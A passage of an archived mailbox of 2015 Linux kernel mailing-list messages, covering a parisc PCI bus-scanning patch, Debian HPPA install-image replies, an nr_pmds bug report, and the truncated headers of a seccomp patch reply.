More majordomo info at=C2=A0 <a href=3D"http://vger.kernel.org/majordomo-in=
fo.html" target=3D"_blank">http://vger.kernel.org/<u></u>majordomo-info.htm=
l</a><br>
</blockquote></div><br></div>

--001a1147a4507c0b080510ce5798--



From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: [PATCH v6 22/30] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Mon, 9 Mar 2015 10:34:19 +0800
Lines: 89
Approved: news@gmane.org
Message-ID: <1425868467-9667-23-git-send-email-wangyijing@huawei.com>
References: <1425868467-9667-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1425869145 20939 80.91.229.3 (9 Mar 2015 02:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2015 02:45:45 +0000 (UTC)
Cc: linux-ia64@vger.kernel.org, linux-pci@vger.kernel.org,
 Yijing Wang <wangyijing@huawei.com>, Guan
 Xuetao <gxt@mprc.pku.edu.cn>, Russell King <linux@arm.linux.org.uk>,
 x86@kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 linux-arm-kernel@lists.infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>, Arnd
 Bergmann <arnd@arndb.de>, Marc Zyngier <marc.zyngier@arm.com>,
 Rusty Russell <rusty@rustcorp.com.au>, linux-m68k@lists.linux-m68k.org,
 Bjorn Helgaas <bhelgaas@google.com>, Thomas Gleixner <tglx@linutronix.de>,
 Yinghai Lu <yinghai@kernel.org>, Yijing Wang <wangyijing0307@gmail.com>,
 Liviu Dudau <liviu@dudau.co.uk>, Tony Luck <tony.luck@intel.com>,
 linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
 Jiang Liu <jiang.liu@linux.intel.com>, linux-alpha@vger.kernel.org,
 "David S. Miller" <davem@davemloft.net
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Mon Mar 09 03:45:42 2015
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1YUnhM-0003Jv-Pt
	for linux-arm-kernel@m.gmane.org; Mon, 09 Mar 2015 03:45:40 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1YUngj-0002I1-R0; Mon, 09 Mar 2015 02:45:01 +0000
Original-Received: from szxga01-in.huawei.com ([58.251.152.64])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1YUngP-00028E-Qd
 for linux-arm-kernel@lists.infradead.org; Mon, 09 Mar 2015 02:44:43 +0000
Original-Received: from 172.24.2.119 (EHLO szxeml433-hub.china.huawei.com)
 ([172.24.2.119])
 by szxrg01-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
 with ESMTP id CKL80153; Mon, 09 Mar 2015 10:43:13 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml433-hub.china.huawei.com (10.82.67.210) with Microsoft SMTP Server id
 14.3.158.1; Mon, 9 Mar 2015 10:43:00 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1425868467-9667-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20150308_194442_489123_6910574F 
X-CRM114-Status: GOOD (  12.02  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_MSPIKE_H3      RBL: Good reputation (+3)
 [58.251.152.64 listed in wl.mailspike.net]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 RCVD_IN_MSPIKE_WL      Mailspike good senders
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:398351 gmane.linux.ports.ia64:25198 gmane.linux.kernel.pci:39739 gmane.linux.ports.parisc:25634 gmane.linux.kernel:1903552 gmane.linux.ports.alpha:2827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/398351>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/dino.c    |    8 +++-----
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 5 insertions(+), 10 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..eb76a9d 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -981,11 +981,12 @@ static int __init dino_probe(struct parisc_device *dev)
 	dino_dev->hba.bus_num.end = 255;
 	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
 	pci_add_resource(&resources, &dino_dev->hba.bus_num);
+
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,13 +997,10 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
-	pci_bus_update_busn_res_end(bus, max);
-
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = max + 1;
+	dino_current_bus = bus->busn_res.end + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index dceb9dd..ba6daec 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1422,7 +1422,6 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
-	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1563,15 +1562,13 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
-
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
 		/* assign resources to un-initialized devices */
@@ -1599,7 +1596,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = max + 1;
+	lba_next_bus = pci_bus_child_max_busnr(lba_bus) + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.1

From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <realblades@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Pre-DEBIAN 8.0 install images for HPPA architecture (debian-ports
 unstable release)
Date: Mon, 9 Mar 2015 23:11:12 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <CAD8V-zDFCm+Aj77oXgyV=jZp+=K65YNnT7uOukTOosXeS=xGwQ@mail.gmail.com>
References: <54ECB150.80907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1425935476 31028 80.91.229.3 (9 Mar 2015 21:11:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2015 21:11:16 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 22:11:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YV4xH-0005ds-9i
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Mar 2015 22:11:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752337AbbCIVLO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2015 17:11:14 -0400
Original-Received: from mail-vc0-f175.google.com ([209.85.220.175]:55495 "EHLO
	mail-vc0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751542AbbCIVLN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2015 17:11:13 -0400
Original-Received: by mail-vc0-f175.google.com with SMTP id hq11so8426897vcb.6
        for <linux-parisc@vger.kernel.org>; Mon, 09 Mar 2015 14:11:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:cc
         :content-type;
        bh=TfVZsqhThLKwJrmIyV8xZih/4psCZiFMXlbCRXD69jE=;
        b=ve3fReTCH4oEs/fV7Evia5LKtJ8UmuOp0YQdB0vZwYN61KY+msEZdHllWlYmLqa1ms
         QjVLQmpX+lowv89+JphL9lrfIrSmCFvztpY6C7MVL8atXXYGb9ang590YIsgnZb4b4J4
         TyJYXpS/eRzX/pIBhPP0PL2fwcA1U1Oaw7KoPd/md8Cz1oRROrArfdNFC5yoZnDtLROw
         lATBX6PNxUB6aDnb2VIZWtJ8kT0Aurs9yzdxvzZeqXPiFmu+0IuTz2usO2jJX4osiq8p
         PQGWwufrK1QEHvTVwcXKO4T3WpZoSBL7YGp5m7sNLMeh+7r1X4bv2fnDEqp5xG8a/swI
         UkQA==
X-Received: by 10.52.25.11 with SMTP id y11mt23435386vdf.51.1425935472832;
 Mon, 09 Mar 2015 14:11:12 -0700 (PDT)
Original-Received: by 10.52.180.169 with HTTP; Mon, 9 Mar 2015 14:11:12 -0700 (PDT)
In-Reply-To: <54ECB150.80907@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25635 gmane.linux.debian.ports.hppa:7264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25635>

On 24 February 2015 at 19:13, Helge Deller <deller@gmx.de> wrote:
> I've prepared some initial netboot installation medias for
>         DEBIAN 8.0 on HPPA

I'd like to say thank you as well. I've been intending to test debian
on a J6700 I rescued, and I got to booting it after seeing this
announcement.

Only the drives in the machine have an HP-UX installation I'd like to
preserve for now and I haven't been able to dig out my spares yet.
I'll see if I can get around to trying the install later.

-- 
I appear to be temporarily using gmail's horrible interface. I
apologise for any failure in my part in trying to make it do the right
thing with post formatting.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Pre-DEBIAN 8.0 install images for HPPA architecture (debian-ports
 unstable release)
Date: Mon, 09 Mar 2015 22:27:39 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <54FE104B.7040806@gmx.de>
References: <54ECB150.80907@gmx.de> <CAD8V-zDFCm+Aj77oXgyV=jZp+=K65YNnT7uOukTOosXeS=xGwQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1425936470 15940 80.91.229.3 (9 Mar 2015 21:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2015 21:27:50 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Harri Haataja <realblades@gmail.com>, debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 22:27:50 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YV5DF-0007KE-Ps
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Mar 2015 22:27:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752393AbbCIV1p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2015 17:27:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:64758 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750920AbbCIV1o (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2015 17:27:44 -0400
Original-Received: from [192.168.20.60] ([84.173.11.245]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0Lskr7-1XToSA3Amv-012KhA; Mon, 09 Mar 2015 22:27:39
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <CAD8V-zDFCm+Aj77oXgyV=jZp+=K65YNnT7uOukTOosXeS=xGwQ@mail.gmail.com>
X-Provags-ID: V03:K0:pheLUTvYsv9UubS7vG+ULeyrxfavhQtQLmJ7GORBb8/J19fV0Yw
 onRnQGqu9SQc/7OcqaST81J0RmMiI8d2Sf938mAw6jpboMwnSb7F32uBwI+ULyORy/kqh69
 RikQJwhJcMgkYk0NaeyVSSzZFlik2Kfe3iLWUmRgmksQKbq5MORGjNzHLd4XQn722MMNVjM
 cTtxdfcy8iXNE7QLn3zyQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25636 gmane.linux.debian.ports.hppa:7265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25636>

On 09.03.2015 22:11, Harri Haataja wrote:
> On 24 February 2015 at 19:13, Helge Deller <deller@gmx.de> wrote:
>> I've prepared some initial netboot installation medias for
>>          DEBIAN 8.0 on HPPA
>
> I'd like to say thank you as well. I've been intending to test debian
> on a J6700 I rescued,

J6700 works pretty fine.

>and I got to booting it after seeing this
> announcement.
>
> Only the drives in the machine have an HP-UX installation I'd like to
> preserve for now and I haven't been able to dig out my spares yet.
> I'll see if I can get around to trying the install later.

FYI, you could even e.g. add a SATA PCI card and attach SATA drives if you like.
The only important thing is, that the bootloader (PALO) and the /boot partition needs to be on a (small) SCSI disc.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: BUG: non-zero nr_pmds on freeing mm: -1
Date: Tue, 10 Mar 2015 22:44:17 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426041882 6576 80.91.229.3 (11 Mar 2015 02:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2015 02:44:42 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 11 03:44:32 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YVWdL-00020W-9J
	for glpp-linux-parisc@plane.gmane.org; Wed, 11 Mar 2015 03:44:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752095AbbCKCoW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 10 Mar 2015 22:44:22 -0400
Original-Received: from blu004-omc4s18.hotmail.com ([65.55.111.157]:62738 "EHLO
	BLU004-OMC4S18.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752026AbbCKCoV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 10 Mar 2015 22:44:21 -0400
Original-Received: from BLU436-SMTP114 ([65.55.111.136]) by BLU004-OMC4S18.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Tue, 10 Mar 2015 19:44:20 -0700
X-TMN: [RofPDWixbKuxZtbh2Dh4qL2IsaUXi+k9]
X-Originating-Email: [dave.anglin@bell.net]
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 11 Mar 2015 02:44:18.0805 (UTC) FILETIME=[45888250:01D05BA5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25637>

With 4.0.0-rc3+ #1 SMP, I get hundreds of these BUG messages:
BUG: non-zero nr_pmds on freeing mm: -1

However, system does boot.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Wed, 11 Mar 2015 10:14:43 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl> <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426083304 24393 80.91.229.3 (11 Mar 2015 14:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2015 14:15:04 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 11 15:14:52 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YVhPP-00031i-7Z
	for glpp-linux-parisc@plane.gmane.org; Wed, 11 Mar 2015 15:14:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753361AbbCKOOs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Mar 2015 10:14:48 -0400
Original-Received: from blu004-omc4s24.hotmail.com ([65.55.111.163]:51042 "EHLO
	BLU004-OMC4S24.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752558AbbCKOOp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Mar 2015 10:14:45 -0400
Original-Received: from BLU436-SMTP234 ([65.55.111.135]) by BLU004-OMC4S24.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Wed, 11 Mar 2015 07:14:44 -0700
X-TMN: [2s4iqplU7gzXK8jrb+IEBuOPelRMzSTb]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
X-OriginalArrivalTime: 11 Mar 2015 14:14:43.0523 (UTC) FILETIME=[B896D930:01D05C05]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25638>

On 2015-03-11 7:32 AM, Domenico Andreoli wrote:
> I also do. Related to https://lkml.org/lkml/2015/2/13/431?
More info is here:
http://www.spinics.net/lists/linux-mm/msg84937.html

There doesn't seem to be a patch yet.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 0/8] switch to using asm-generic for seccomp.h
Date: Wed, 11 Mar 2015 11:59:55 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CAGXu5j+PMBEPLTLiDVZ9XvnT9a2P+tOGPLXfE865crteeChDFQ@mail.gmail.com>
References: <1425518828-16017-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1426100416 10171 80.91.229.3 (11 Mar 2015 19:00:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2015 19:00:16 +0000 (UTC)
Cc: Kees Cook <keescook@chromium.org>, Ingo Molnar <mingo@redhat.com>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	"David S. Miller" <davem@davemloft.net>,
	"x86@kernel.org" <x86@kernel.org>, Arnd Bergmann <arnd@arndb.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Laura Abbott <lauraa@codeaurora.org>,
	James Hogan <james.hogan@imgtec.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Linux MIPS Mailing List <linux-mips@linux-m
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Mar 11 20:00:08 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YVlrT-0003ET-0l
	for glk-linux-kernel-3@plane.gmane.org; Wed, 11 Mar 2015 20:00:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751674AbbCKS77 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 Mar 2015 14:59:59 -0400
Original-Received: from mail-vc0-f174.google.com ([209.85.220.174]:63085 "EHLO
	mail-vc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750707AbbCKS74 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 Mar 2015 14:59:56 -0400
Original-Received: by mail-vc0-f174.google.com with SMTP id la4so3747169vcb.5
        for <linux-kernel@vger.kernel.org>; Wed, 11 Mar 2015 11:59:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=fGiWOgdnSGWqgtkswLwrg8Fb26jdUJ5fEGIfJ2wI+t0=;
        b=EhO0vQp9vy1qIwiGsdEskxH6LIBt+MChUM8jghFqWpP0PYUeSupG8b8eDDOhveAhg4
         R0WDid4Z2de58u7c/oHbDBCPhgXHHX6Cs7DeOm8ll+noCs49uj4Enola2lLbGOhzKpzE
         IgoNAhotanFfL6ykAtj/JTPwUAioKB7UBAzjXRmCTFCWSd5polgLAv78zuQRuLfYsuMu
         jdR8YKV36jHXxMD7IDQGBwD1Oqd52F/+e+yWEk0WXtSFL9jIGSJVN96uNm1AUHm9FbY8
         CHVlcrVeCimVk88ns2ELlRvWql4Oj6F7n0E4jX6nM7Iea5YGsECLTFiOs1bNmj3PBsER
         Au2w==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=fGiWOgdnSGWqgtkswLwrg8Fb26jdUJ5fEGIfJ2wI+t0=;
        b=aFqG3z1J494wyNyUUU3Do+Lkk7MxXj28gRbEpq6yYD5g6XGePiURxlizkbDQNVszGd
